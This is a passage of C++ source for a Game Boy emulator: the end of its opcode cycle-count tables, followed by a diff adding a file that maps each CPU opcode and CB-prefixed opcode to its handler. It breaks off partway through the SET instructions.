1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1,
2, 3, 3, 4, 3, 4, 2, 4, 2, 4, 3, 0, 3, 6, 2, 4,
2, 3, 3, 0, 3, 4, 2, 4, 2, 4, 3, 0, 3, 0, 2, 4,
3, 3, 2, 0, 0, 4, 2, 4, 4, 1, 4, 0, 0, 0, 2, 4,
3, 3, 2, 1, 0, 4, 2, 4, 3, 2, 4, 1, 0, 0, 2, 4
};
const std::array<u8, 256> opcode_cycles_branched = {
1, 3, 2, 2, 1, 1, 2, 1, 5, 2, 2, 2, 1, 1, 2, 1,
1, 3, 2, 2, 1, 1, 2, 1, 3, 2, 2, 2, 1, 1, 2, 1,
3, 3, 2, 2, 1, 1, 2, 1, 3, 2, 2, 2, 1, 1, 2, 1,
3, 3, 2, 2, 3, 3, 3, 1, 3, 2, 2, 2, 1, 1, 2, 1,
1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1,
1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1,
1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1,
2, 2, 2, 2, 2, 2, 1, 2, 1, 1, 1, 1, 1, 1, 2, 1,
1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1,
1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1,
1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1,
1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1,
5, 3, 4, 4, 6, 4, 2, 4, 5, 4, 4, 0, 6, 6, 2, 4,
5, 3, 4, 0, 6, 4, 2, 4, 5, 4, 4, 0, 6, 0, 2, 4,
3, 3, 2, 0, 0, 4, 2, 4, 4, 1, 4, 0, 0, 0, 2, 4,
3, 3, 2, 1, 0, 4, 2, 4, 3, 2, 4, 1, 0, 0, 2, 4
};
const std::array<u8, 256> opcode_cycles_cb = {
2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2,
2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2,
2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2,
2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2,
2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 2, 3, 2,
2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 2, 3, 2,
2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 2, 3, 2,
2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 2, 3, 2,
2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2,
2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2,
2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2,
2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2,
2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2,
2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2,
2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2,
2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2
};
@@ -0,0 +1,526 @@
#include "cpu.h"
/* clang-format off */
/**
* This section contains functions which map to actual opcodes which are executed
* by the Gameboy's processor.
*/
void CPU::opcode_00() { opcode_nop(); }
void CPU::opcode_01() { opcode_ld(bc); }
void CPU::opcode_02() { opcode_ld(Address(bc), a); }
void CPU::opcode_03() { opcode_inc(bc); }
void CPU::opcode_04() { opcode_inc(b); }
void CPU::opcode_05() { opcode_dec(b); }
void CPU::opcode_06() { opcode_ld(b); }
void CPU::opcode_07() { opcode_rlca(); }
void CPU::opcode_08() { u16 nn = get_word_from_pc(); opcode_ld(Address(nn), sp); }
void CPU::opcode_09() { opcode_add_hl(bc); }
void CPU::opcode_0A() { opcode_ld(a, Address(bc)); }
void CPU::opcode_0B() { opcode_dec(bc); }
void CPU::opcode_0C() { opcode_inc(c); }
void CPU::opcode_0D() { opcode_dec(c); }
void CPU::opcode_0E() { opcode_ld(c); }
void CPU::opcode_0F() { opcode_rrca(); }
void CPU::opcode_10() { opcode_stop(); }
void CPU::opcode_11() { opcode_ld(de); }
void CPU::opcode_12() { opcode_ld(Address(de), a); }
void CPU::opcode_13() { opcode_inc(de); }
void CPU::opcode_14() { opcode_inc(d); }
void CPU::opcode_15() { opcode_dec(d); }
void CPU::opcode_16() { opcode_ld(d); }
void CPU::opcode_17() { opcode_rla(); }
void CPU::opcode_18() { opcode_jr(); }
void CPU::opcode_19() { opcode_add_hl(de); }
void CPU::opcode_1A() { opcode_ld(a, Address(de)); }
void CPU::opcode_1B() { opcode_dec(de); }
void CPU::opcode_1C() { opcode_inc(e); }
void CPU::opcode_1D() { opcode_dec(e); }
void CPU::opcode_1E() { opcode_ld(e); }
void CPU::opcode_1F() { opcode_rra(); }
void CPU::opcode_20() { opcode_jr(Condition::NZ); }
void CPU::opcode_21() { opcode_ld(hl); }
void CPU::opcode_22() { opcode_ldi(Address(hl), a); }
void CPU::opcode_23() { opcode_inc(hl); }
void CPU::opcode_24() { opcode_inc(h); }
void CPU::opcode_25() { opcode_dec(h); }
void CPU::opcode_26() { opcode_ld(h); }
void CPU::opcode_27() { opcode_daa(); }
void CPU::opcode_28() { opcode_jr(Condition::Z); }
void CPU::opcode_29() { opcode_add_hl(hl); }
void CPU::opcode_2A() { opcode_ldi(a, Address(hl)); }
void CPU::opcode_2B() { opcode_dec(hl); }
void CPU::opcode_2C() { opcode_inc(l); }
void CPU::opcode_2D() { opcode_dec(l); }
void CPU::opcode_2E() { opcode_ld(l); }
void CPU::opcode_2F() { opcode_cpl(); }
void CPU::opcode_30() { opcode_jr(Condition::NC); }
void CPU::opcode_31() { opcode_ld(sp); }
void CPU::opcode_32() { opcode_ldd(Address(hl), a); }
void CPU::opcode_33() { opcode_inc(sp); }
void CPU::opcode_34() { opcode_inc(Address(hl)); }
void CPU::opcode_35() { opcode_dec(Address(hl)); }
void CPU::opcode_36() { opcode_ld(Address(hl)); }
void CPU::opcode_37() { opcode_scf(); }
void CPU::opcode_38() { opcode_jr(Condition::C); }
void CPU::opcode_39() { opcode_add_hl(sp); }
void CPU::opcode_3A() { opcode_ldd(a, Address(hl)); }
void CPU::opcode_3B() { opcode_dec(sp); }
void CPU::opcode_3C() { opcode_inc(a); }
void CPU::opcode_3D() { opcode_dec(a); }
void CPU::opcode_3E() { opcode_ld(a); }
void CPU::opcode_3F() { opcode_ccf(); }
void CPU::opcode_40() { opcode_ld(b, b); }
void CPU::opcode_41() { opcode_ld(b, c); }
void CPU::opcode_42() { opcode_ld(b, d); }
void CPU::opcode_43() { opcode_ld(b, e); }
void CPU::opcode_44() { opcode_ld(b, h); }
void CPU::opcode_45() { opcode_ld(b, l); }
void CPU::opcode_46() { opcode_ld(b, Address(hl)); }
void CPU::opcode_47() { opcode_ld(b, a); }
void CPU::opcode_48() { opcode_ld(c, b); }
void CPU::opcode_49() { opcode_ld(c, c); }
void CPU::opcode_4A() { opcode_ld(c, d); }
void CPU::opcode_4B() { opcode_ld(c, e); }
void CPU::opcode_4C() { opcode_ld(c, h); }
void CPU::opcode_4D() { opcode_ld(c, l); }
void CPU::opcode_4E() { opcode_ld(c, Address(hl)); }
void CPU::opcode_4F() { opcode_ld(c, a); }
void CPU::opcode_50() { opcode_ld(d, b); }
void CPU::opcode_51() { opcode_ld(d, c); }
void CPU::opcode_52() { opcode_ld(d, d); }
void CPU::opcode_53() { opcode_ld(d, e); }
void CPU::opcode_54() { opcode_ld(d, h); }
void CPU::opcode_55() { opcode_ld(d, l); }
void CPU::opcode_56() { opcode_ld(d, Address(hl)); }
void CPU::opcode_57() { opcode_ld(d, a); }
void CPU::opcode_58() { opcode_ld(e, b); }
void CPU::opcode_59() { opcode_ld(e, c); }
void CPU::opcode_5A() { opcode_ld(e, d); }
void CPU::opcode_5B() { opcode_ld(e, e); }
void CPU::opcode_5C() { opcode_ld(e, h); }
void CPU::opcode_5D() { opcode_ld(e, l); }
void CPU::opcode_5E() { opcode_ld(e, Address(hl)); }
void CPU::opcode_5F() { opcode_ld(e, a); }
void CPU::opcode_60() { opcode_ld(h, b); }
void CPU::opcode_61() { opcode_ld(h, c); }
void CPU::opcode_62() { opcode_ld(h, d); }
void CPU::opcode_63() { opcode_ld(h, e); }
void CPU::opcode_64() { opcode_ld(h, h); }
void CPU::opcode_65() { opcode_ld(h, l); }
void CPU::opcode_66() { opcode_ld(h, Address(hl)); }
void CPU::opcode_67() { opcode_ld(h, a); }
void CPU::opcode_68() { opcode_ld(l, b); }
void CPU::opcode_69() { opcode_ld(l, c); }
void CPU::opcode_6A() { opcode_ld(l, d); }
void CPU::opcode_6B() { opcode_ld(l, e); }
void CPU::opcode_6C() { opcode_ld(l, h); }
void CPU::opcode_6D() { opcode_ld(l, l); }
void CPU::opcode_6E() { opcode_ld(l, Address(hl)); }
void CPU::opcode_6F() { opcode_ld(l, a); }
void CPU::opcode_70() { opcode_ld(Address(hl), b); }
void CPU::opcode_71() { opcode_ld(Address(hl), c); }
void CPU::opcode_72() { opcode_ld(Address(hl), d); }
void CPU::opcode_73() { opcode_ld(Address(hl), e); }
void CPU::opcode_74() { opcode_ld(Address(hl), h); }
void CPU::opcode_75() { opcode_ld(Address(hl), l); }
void CPU::opcode_76() { opcode_halt(); }
void CPU::opcode_77() { opcode_ld(Address(hl), a); }
void CPU::opcode_78() { opcode_ld(a, b); }
void CPU::opcode_79() { opcode_ld(a, c); }
void CPU::opcode_7A() { opcode_ld(a, d); }
void CPU::opcode_7B() { opcode_ld(a, e); }
void CPU::opcode_7C() { opcode_ld(a, h); }
void CPU::opcode_7D() { opcode_ld(a, l); }
void CPU::opcode_7E() { opcode_ld(a, Address(hl)); }
void CPU::opcode_7F() { opcode_ld(a, a); }
void CPU::opcode_80() { opcode_add_a(b); }
void CPU::opcode_81() { opcode_add_a(c); }
void CPU::opcode_82() { opcode_add_a(d); }
void CPU::opcode_83() { opcode_add_a(e); }
void CPU::opcode_84() { opcode_add_a(h); }
void CPU::opcode_85() { opcode_add_a(l); }
void CPU::opcode_86() { opcode_add_a(Address(hl)); }
void CPU::opcode_87() { opcode_add_a(a); }
void CPU::opcode_88() { opcode_adc(b); }
void CPU::opcode_89() { opcode_adc(c); }
void CPU::opcode_8A() { opcode_adc(d); }
void CPU::opcode_8B() { opcode_adc(e); }
void CPU::opcode_8C() { opcode_adc(h); }
void CPU::opcode_8D() { opcode_adc(l); }
void CPU::opcode_8E() { opcode_adc(Address(hl)); }
void CPU::opcode_8F() { opcode_adc(a); }
void CPU::opcode_90() { opcode_sub(b); }
void CPU::opcode_91() { opcode_sub(c); }
void CPU::opcode_92() { opcode_sub(d); }
void CPU::opcode_93() { opcode_sub(e); }
void CPU::opcode_94() { opcode_sub(h); }
void CPU::opcode_95() { opcode_sub(l); }
void CPU::opcode_96() { opcode_sub(Address(hl)); }
void CPU::opcode_97() { opcode_sub(a); }
void CPU::opcode_98() { opcode_sbc(b); }
void CPU::opcode_99() { opcode_sbc(c); }
void CPU::opcode_9A() { opcode_sbc(d); }
void CPU::opcode_9B() { opcode_sbc(e); }
void CPU::opcode_9C() { opcode_sbc(h); }
void CPU::opcode_9D() { opcode_sbc(l); }
void CPU::opcode_9E() { opcode_sbc(Address(hl)); }
void CPU::opcode_9F() { opcode_sbc(a); }
void CPU::opcode_A0() { opcode_and(b); }
void CPU::opcode_A1() { opcode_and(c); }
void CPU::opcode_A2() { opcode_and(d); }
void CPU::opcode_A3() { opcode_and(e); }
void CPU::opcode_A4() { opcode_and(h); }
void CPU::opcode_A5() { opcode_and(l); }
void CPU::opcode_A6() { opcode_and(Address(hl)); }
void CPU::opcode_A7() { opcode_and(a); }
void CPU::opcode_A8() { opcode_xor(b); }
void CPU::opcode_A9() { opcode_xor(c); }
void CPU::opcode_AA() { opcode_xor(d); }
void CPU::opcode_AB() { opcode_xor(e); }
void CPU::opcode_AC() { opcode_xor(h); }
void CPU::opcode_AD() { opcode_xor(l); }
void CPU::opcode_AE() { opcode_xor(Address(hl)); }
void CPU::opcode_AF() { opcode_xor(a); }
void CPU::opcode_B0() { opcode_or(b); }
void CPU::opcode_B1() { opcode_or(c); }
void CPU::opcode_B2() { opcode_or(d); }
void CPU::opcode_B3() { opcode_or(e); }
void CPU::opcode_B4() { opcode_or(h); }
void CPU::opcode_B5() { opcode_or(l); }
void CPU::opcode_B6() { opcode_or(Address(hl)); }
void CPU::opcode_B7() { opcode_or(a); }
void CPU::opcode_B8() { opcode_cp(b); }
void CPU::opcode_B9() { opcode_cp(c); }
void CPU::opcode_BA() { opcode_cp(d); }
void CPU::opcode_BB() { opcode_cp(e); }
void CPU::opcode_BC() { opcode_cp(h); }
void CPU::opcode_BD() { opcode_cp(l); }
void CPU::opcode_BE() { opcode_cp(Address(hl)); }
void CPU::opcode_BF() { opcode_cp(a); }
void CPU::opcode_C0() { opcode_ret(Condition::NZ); }
void CPU::opcode_C1() { opcode_pop(bc); }
void CPU::opcode_C2() { opcode_jp(Condition::NZ); }
void CPU::opcode_C3() { opcode_jp(); }
void CPU::opcode_C4() { opcode_call(Condition::NZ); }
void CPU::opcode_C5() { opcode_push(bc); }
void CPU::opcode_C6() { opcode_add_a(); }
void CPU::opcode_C7() { opcode_rst(rst::rst1); }
void CPU::opcode_C8() { opcode_ret(Condition::Z); }
void CPU::opcode_C9() { opcode_ret(); }
void CPU::opcode_CA() { opcode_jp(Condition::Z); }
void CPU::opcode_CB() { /* External Ops */ }
void CPU::opcode_CC() { opcode_call(Condition::Z); }
void CPU::opcode_CD() { opcode_call(); }
void CPU::opcode_CE() { opcode_adc(); }
void CPU::opcode_CF() { opcode_rst(rst::rst2); }
void CPU::opcode_D0() { opcode_ret(Condition::NC); }
void CPU::opcode_D1() { opcode_pop(de); }
void CPU::opcode_D2() { opcode_jp(Condition::NC); }
void CPU::opcode_D3() { /* Undefined */ }
void CPU::opcode_D4() { opcode_call(Condition::NC); }
void CPU::opcode_D5() { opcode_push(de); }
void CPU::opcode_D6() { opcode_sub(); }
void CPU::opcode_D7() { opcode_rst(rst::rst3); }
void CPU::opcode_D8() { opcode_ret(Condition::C); }
void CPU::opcode_D9() { opcode_reti(); }
void CPU::opcode_DA() { opcode_jp(Condition::C); }
void CPU::opcode_DB() { /* Undefined */ }
void CPU::opcode_DC() { opcode_call(Condition::C); }
void CPU::opcode_DD() { /* Undefined */ }
void CPU::opcode_DE() { opcode_sbc(); }
void CPU::opcode_DF() { opcode_rst(rst::rst4); }
void CPU::opcode_E0() { opcode_ldh_into_data(); }
void CPU::opcode_E1() { opcode_pop(hl); }
void CPU::opcode_E2() { opcode_ldh_into_c(); }
void CPU::opcode_E3() { /* Undefined */ }
void CPU::opcode_E4() { /* Undefined */ }
void CPU::opcode_E5() { opcode_push(hl); }
void CPU::opcode_E6() { opcode_and(); }
void CPU::opcode_E7() { opcode_rst(rst::rst5); }
void CPU::opcode_E8() { opcode_add_sp(); }
void CPU::opcode_E9() { opcode_jp(Address(hl)); }
void CPU::opcode_EA() { opcode_ld_to_addr(a); }
void CPU::opcode_EB() { /* Undefined */ }
void CPU::opcode_EC() { /* Undefined */ }
void CPU::opcode_ED() { /* Undefined */ }
void CPU::opcode_EE() { opcode_xor(); }
void CPU::opcode_EF() { opcode_rst(rst::rst6); }
void CPU::opcode_F0() { opcode_ldh_into_a(); }
void CPU::opcode_F1() { opcode_pop(af); }
void CPU::opcode_F2() { opcode_ldh_c_into_a(); }
void CPU::opcode_F3() { opcode_di(); }
void CPU::opcode_F4() { /* Undefined */ }
void CPU::opcode_F5() { opcode_push(af); }
void CPU::opcode_F6() { opcode_or(); }
void CPU::opcode_F7() { opcode_rst(rst::rst7); }
void CPU::opcode_F8() { opcode_ldhl(); }
void CPU::opcode_F9() { opcode_ld(sp, hl); }
void CPU::opcode_FA() { opcode_ld_from_addr(a); }
void CPU::opcode_FB() { opcode_ei(); }
void CPU::opcode_FC() { /* Undefined */ }
void CPU::opcode_FD() { /* Undefined */ }
void CPU::opcode_FE() { opcode_cp(); }
void CPU::opcode_FF() { opcode_rst(rst::rst8); }
/**
* This section contains two-byte opcodes, which are triggered when prefixed with
* the CB instruction above.
*/
void CPU::opcode_CB_00() { opcode_rlc(b); }
void CPU::opcode_CB_01() { opcode_rlc(c); }
void CPU::opcode_CB_02() { opcode_rlc(d); }
void CPU::opcode_CB_03() { opcode_rlc(e); }
void CPU::opcode_CB_04() { opcode_rlc(h); }
void CPU::opcode_CB_05() { opcode_rlc(l); }
void CPU::opcode_CB_06() { opcode_rlc(Address(hl)); }
void CPU::opcode_CB_07() { opcode_rlc(a); }
void CPU::opcode_CB_08() { opcode_rrc(b); }
void CPU::opcode_CB_09() { opcode_rrc(c); }
void CPU::opcode_CB_0A() { opcode_rrc(d); }
void CPU::opcode_CB_0B() { opcode_rrc(e); }
void CPU::opcode_CB_0C() { opcode_rrc(h); }
void CPU::opcode_CB_0D() { opcode_rrc(l); }
void CPU::opcode_CB_0E() { opcode_rrc(Address(hl)); }
void CPU::opcode_CB_0F() { opcode_rrc(a); }
void CPU::opcode_CB_10() { opcode_rl(b); }
void CPU::opcode_CB_11() { opcode_rl(c); }
void CPU::opcode_CB_12() { opcode_rl(d); }
void CPU::opcode_CB_13() { opcode_rl(e); }
void CPU::opcode_CB_14() { opcode_rl(h); }
void CPU::opcode_CB_15() { opcode_rl(l); }
void CPU::opcode_CB_16() { opcode_rl(Address(hl)); }
void CPU::opcode_CB_17() { opcode_rl(a); }
void CPU::opcode_CB_18() { opcode_rr(b); }
void CPU::opcode_CB_19() { opcode_rr(c); }
void CPU::opcode_CB_1A() { opcode_rr(d); }
void CPU::opcode_CB_1B() { opcode_rr(e); }
void CPU::opcode_CB_1C() { opcode_rr(h); }
void CPU::opcode_CB_1D() { opcode_rr(l); }
void CPU::opcode_CB_1E() { opcode_rr(Address(hl)); }
void CPU::opcode_CB_1F() { opcode_rr(a); }
void CPU::opcode_CB_20() { opcode_sla(b); }
void CPU::opcode_CB_21() { opcode_sla(c); }
void CPU::opcode_CB_22() { opcode_sla(d); }
void CPU::opcode_CB_23() { opcode_sla(e); }
void CPU::opcode_CB_24() { opcode_sla(h); }
void CPU::opcode_CB_25() { opcode_sla(l); }
void CPU::opcode_CB_26() { opcode_sla(Address(hl)); }
void CPU::opcode_CB_27() { opcode_sla(a); }
void CPU::opcode_CB_28() { opcode_sra(b); }
void CPU::opcode_CB_29() { opcode_sra(c); }
void CPU::opcode_CB_2A() { opcode_sra(d); }
void CPU::opcode_CB_2B() { opcode_sra(e); }
void CPU::opcode_CB_2C() { opcode_sra(h); }
void CPU::opcode_CB_2D() { opcode_sra(l); }
void CPU::opcode_CB_2E() { opcode_sra(Address(hl)); }
void CPU::opcode_CB_2F() { opcode_sra(a); }
void CPU::opcode_CB_30() { opcode_swap(b); }
void CPU::opcode_CB_31() { opcode_swap(c); }
void CPU::opcode_CB_32() { opcode_swap(d); }
void CPU::opcode_CB_33() { opcode_swap(e); }
void CPU::opcode_CB_34() { opcode_swap(h); }
void CPU::opcode_CB_35() { opcode_swap(l); }
void CPU::opcode_CB_36() { opcode_swap(Address(hl)); }
void CPU::opcode_CB_37() { opcode_swap(a); }
void CPU::opcode_CB_38() { opcode_srl(b); }
void CPU::opcode_CB_39() { opcode_srl(c); }
void CPU::opcode_CB_3A() { opcode_srl(d); }
void CPU::opcode_CB_3B() { opcode_srl(e); }
void CPU::opcode_CB_3C() { opcode_srl(h); }
void CPU::opcode_CB_3D() { opcode_srl(l); }
void CPU::opcode_CB_3E() { opcode_srl(Address(hl)); }
void CPU::opcode_CB_3F() { opcode_srl(a); }
void CPU::opcode_CB_40() { opcode_bit(0, b); }
void CPU::opcode_CB_41() { opcode_bit(0, c); }
void CPU::opcode_CB_42() { opcode_bit(0, d); }
void CPU::opcode_CB_43() { opcode_bit(0, e); }
void CPU::opcode_CB_44() { opcode_bit(0, h); }
void CPU::opcode_CB_45() { opcode_bit(0, l); }
void CPU::opcode_CB_46() { opcode_bit(0, Address(hl)); }
void CPU::opcode_CB_47() { opcode_bit(0, a); }
void CPU::opcode_CB_48() { opcode_bit(1, b); }
void CPU::opcode_CB_49() { opcode_bit(1, c); }
void CPU::opcode_CB_4A() { opcode_bit(1, d); }
void CPU::opcode_CB_4B() { opcode_bit(1, e); }
void CPU::opcode_CB_4C() { opcode_bit(1, h); }
void CPU::opcode_CB_4D() { opcode_bit(1, l); }
void CPU::opcode_CB_4E() { opcode_bit(1, Address(hl)); }
void CPU::opcode_CB_4F() { opcode_bit(1, a); }
void CPU::opcode_CB_50() { opcode_bit(2, b); }
void CPU::opcode_CB_51() { opcode_bit(2, c); }
void CPU::opcode_CB_52() { opcode_bit(2, d); }
void CPU::opcode_CB_53() { opcode_bit(2, e); }
void CPU::opcode_CB_54() { opcode_bit(2, h); }
void CPU::opcode_CB_55() { opcode_bit(2, l); }
void CPU::opcode_CB_56() { opcode_bit(2, Address(hl)); }
void CPU::opcode_CB_57() { opcode_bit(2, a); }
void CPU::opcode_CB_58() { opcode_bit(3, b); }
void CPU::opcode_CB_59() { opcode_bit(3, c); }
void CPU::opcode_CB_5A() { opcode_bit(3, d); }
void CPU::opcode_CB_5B() { opcode_bit(3, e); }
void CPU::opcode_CB_5C() { opcode_bit(3, h); }
void CPU::opcode_CB_5D() { opcode_bit(3, l); }
void CPU::opcode_CB_5E() { opcode_bit(3, Address(hl)); }
void CPU::opcode_CB_5F() { opcode_bit(3, a); }
void CPU::opcode_CB_60() { opcode_bit(4, b); }
void CPU::opcode_CB_61() { opcode_bit(4, c); }
void CPU::opcode_CB_62() { opcode_bit(4, d); }
void CPU::opcode_CB_63() { opcode_bit(4, e); }
void CPU::opcode_CB_64() { opcode_bit(4, h); }
void CPU::opcode_CB_65() { opcode_bit(4, l); }
void CPU::opcode_CB_66() { opcode_bit(4, Address(hl)); }
void CPU::opcode_CB_67() { opcode_bit(4, a); }
void CPU::opcode_CB_68() { opcode_bit(5, b); }
void CPU::opcode_CB_69() { opcode_bit(5, c); }
void CPU::opcode_CB_6A() { opcode_bit(5, d); }
void CPU::opcode_CB_6B() { opcode_bit(5, e); }
void CPU::opcode_CB_6C() { opcode_bit(5, h); }
void CPU::opcode_CB_6D() { opcode_bit(5, l); }
void CPU::opcode_CB_6E() { opcode_bit(5, Address(hl)); }
void CPU::opcode_CB_6F() { opcode_bit(5, a); }
void CPU::opcode_CB_70() { opcode_bit(6, b); }
void CPU::opcode_CB_71() { opcode_bit(6, c); }
void CPU::opcode_CB_72() { opcode_bit(6, d); }
void CPU::opcode_CB_73() { opcode_bit(6, e); }
void CPU::opcode_CB_74() { opcode_bit(6, h); }
void CPU::opcode_CB_75() { opcode_bit(6, l); }
void CPU::opcode_CB_76() { opcode_bit(6, Address(hl)); }
void CPU::opcode_CB_77() { opcode_bit(6, a); }
void CPU::opcode_CB_78() { opcode_bit(7, b); }
void CPU::opcode_CB_79() { opcode_bit(7, c); }
void CPU::opcode_CB_7A() { opcode_bit(7, d); }
void CPU::opcode_CB_7B() { opcode_bit(7, e); }
void CPU::opcode_CB_7C() { opcode_bit(7, h); }
void CPU::opcode_CB_7D() { opcode_bit(7, l); }
void CPU::opcode_CB_7E() { opcode_bit(7, Address(hl)); }
void CPU::opcode_CB_7F() { opcode_bit(7, a); }
void CPU::opcode_CB_80() { opcode_res(0, b); }
void CPU::opcode_CB_81() { opcode_res(0, c); }
void CPU::opcode_CB_82() { opcode_res(0, d); }
void CPU::opcode_CB_83() { opcode_res(0, e); }
void CPU::opcode_CB_84() { opcode_res(0, h); }
void CPU::opcode_CB_85() { opcode_res(0, l); }
void CPU::opcode_CB_86() { opcode_res(0, Address(hl)); }
void CPU::opcode_CB_87() { opcode_res(0, a); }
void CPU::opcode_CB_88() { opcode_res(1, b); }
void CPU::opcode_CB_89() { opcode_res(1, c); }
void CPU::opcode_CB_8A() { opcode_res(1, d); }
void CPU::opcode_CB_8B() { opcode_res(1, e); }
void CPU::opcode_CB_8C() { opcode_res(1, h); }
void CPU::opcode_CB_8D() { opcode_res(1, l); }
void CPU::opcode_CB_8E() { opcode_res(1, Address(hl)); }
void CPU::opcode_CB_8F() { opcode_res(1, a); }
void CPU::opcode_CB_90() { opcode_res(2, b); }
void CPU::opcode_CB_91() { opcode_res(2, c); }
void CPU::opcode_CB_92() { opcode_res(2, d); }
void CPU::opcode_CB_93() { opcode_res(2, e); }
void CPU::opcode_CB_94() { opcode_res(2, h); }
void CPU::opcode_CB_95() { opcode_res(2, l); }
void CPU::opcode_CB_96() { opcode_res(2, Address(hl)); }
void CPU::opcode_CB_97() { opcode_res(2, a); }
void CPU::opcode_CB_98() { opcode_res(3, b); }
void CPU::opcode_CB_99() { opcode_res(3, c); }
void CPU::opcode_CB_9A() { opcode_res(3, d); }
void CPU::opcode_CB_9B() { opcode_res(3, e); }
void CPU::opcode_CB_9C() { opcode_res(3, h); }
void CPU::opcode_CB_9D() { opcode_res(3, l); }
void CPU::opcode_CB_9E() { opcode_res(3, Address(hl)); }
void CPU::opcode_CB_9F() { opcode_res(3, a); }
void CPU::opcode_CB_A0() { opcode_res(4, b); }
void CPU::opcode_CB_A1() { opcode_res(4, c); }
void CPU::opcode_CB_A2() { opcode_res(4, d); }
void CPU::opcode_CB_A3() { opcode_res(4, e); }
void CPU::opcode_CB_A4() { opcode_res(4, h); }
void CPU::opcode_CB_A5() { opcode_res(4, l); }
void CPU::opcode_CB_A6() { opcode_res(4, Address(hl)); }
void CPU::opcode_CB_A7() { opcode_res(4, a); }
void CPU::opcode_CB_A8() { opcode_res(5, b); }
void CPU::opcode_CB_A9() { opcode_res(5, c); }
void CPU::opcode_CB_AA() { opcode_res(5, d); }
void CPU::opcode_CB_AB() { opcode_res(5, e); }
void CPU::opcode_CB_AC() { opcode_res(5, h); }
void CPU::opcode_CB_AD() { opcode_res(5, l); }
void CPU::opcode_CB_AE() { opcode_res(5, Address(hl)); }
void CPU::opcode_CB_AF() { opcode_res(5, a); }
void CPU::opcode_CB_B0() { opcode_res(6, b); }
void CPU::opcode_CB_B1() { opcode_res(6, c); }
void CPU::opcode_CB_B2() { opcode_res(6, d); }
void CPU::opcode_CB_B3() { opcode_res(6, e); }
void CPU::opcode_CB_B4() { opcode_res(6, h); }
void CPU::opcode_CB_B5() { opcode_res(6, l); }
void CPU::opcode_CB_B6() { opcode_res(6, Address(hl)); }
void CPU::opcode_CB_B7() { opcode_res(6, a); }
void CPU::opcode_CB_B8() { opcode_res(7, b); }
void CPU::opcode_CB_B9() { opcode_res(7, c); }
void CPU::opcode_CB_BA() { opcode_res(7, d); }
void CPU::opcode_CB_BB() { opcode_res(7, e); }
void CPU::opcode_CB_BC() { opcode_res(7, h); }
void CPU::opcode_CB_BD() { opcode_res(7, l); }
void CPU::opcode_CB_BE() { opcode_res(7, Address(hl)); }
void CPU::opcode_CB_BF() { opcode_res(7, a); }
void CPU::opcode_CB_C0() { opcode_set(0, b); }
void CPU::opcode_CB_C1() { opcode_set(0, c); }
void CPU::opcode_CB_C2() { opcode_set(0, d); }
void CPU::opcode_CB_C3() { opcode_set(0, e); }
void CPU::opcode_CB_C4() { opcode_set(0, h); }
void CPU::opcode_CB_C5() { opcode_set(0, l); }
void CPU::opcode_CB_C6() { opcode_set(0, Address(hl)); }
void CPU::opcode_CB_C7() { opcode_set(0, a); }
void CPU::opcode_CB_C8() { opcode_set(1, b); }
void CPU::opcode_CB_C9() { opcode_set(1, c); }
void CPU::opcode_CB_CA() { opcode_set(1, d); }
void CPU::opcode_CB_CB() { opcode_set(1, e); }
void CPU::opcode_CB_CC() { opcode_set(1, h); }
void CPU::opcode_CB_CD() { opcode_set(1, l); }
void CPU::opcode_CB_CE() { opcode_set(1, Address(hl)); }
void CPU::opcode_CB_CF() { opcode_set(1, a); }
void CPU::opcode_CB_D0() { opcode_set(2, b); }
void CPU::opcode_CB_D1() { opcode_set(2, c); }
void CPU::opcode_CB_D2() { opcode_set(2, d); }
void CPU::opcode_CB_D3() { opcode_set(2, e); }
void CPU::opcode_CB_D4() { opcode_set(2, h); }
void CPU::opcode_CB_D5() { opcode_set(2, l); }
void CPU::opcode_CB_D6() { opcode_set(2, Address(hl)); }
void CPU::opcode_CB_D7() { opcode_set(2, a); }
void CPU::opcode_CB_D8() { opcode_set(3, b); }
void CPU::opcode_CB_D9() { opcode_set(3, c); }
void CPU::opcode_CB_DA() { opcode_set(3, d); }
void CPU::opcode_CB_DB() { opcode_set(3, e); }
void CPU::opcode_CB_DC() { opcode_set(3, h); }
void CPU::opcode_CB_DD() { opcode_set(3, l); }
void CPU::opcode_CB_DE() { opcode_set(3, Address(hl)); }
void CPU::opcode_CB_DF() { opcode_set(3, a); }
void CPU::opcode_CB_E0() { opcode_set(4, b); }
void CPU::opcode_CB_E1() { opcode_set(4, c); }
void CPU::opcode_CB_E2() { opcode_set(4, d); }
void CPU::opcode_CB_E3() { opcode_set(4, e); }
void CPU::opcode_CB_E4() { opcode_set(4, h); }
void CPU::opcode_CB_E5() { opcode_set(4, l); }
void CPU::opcode_CB_E6() { opcode_set(4, Address(hl)); }
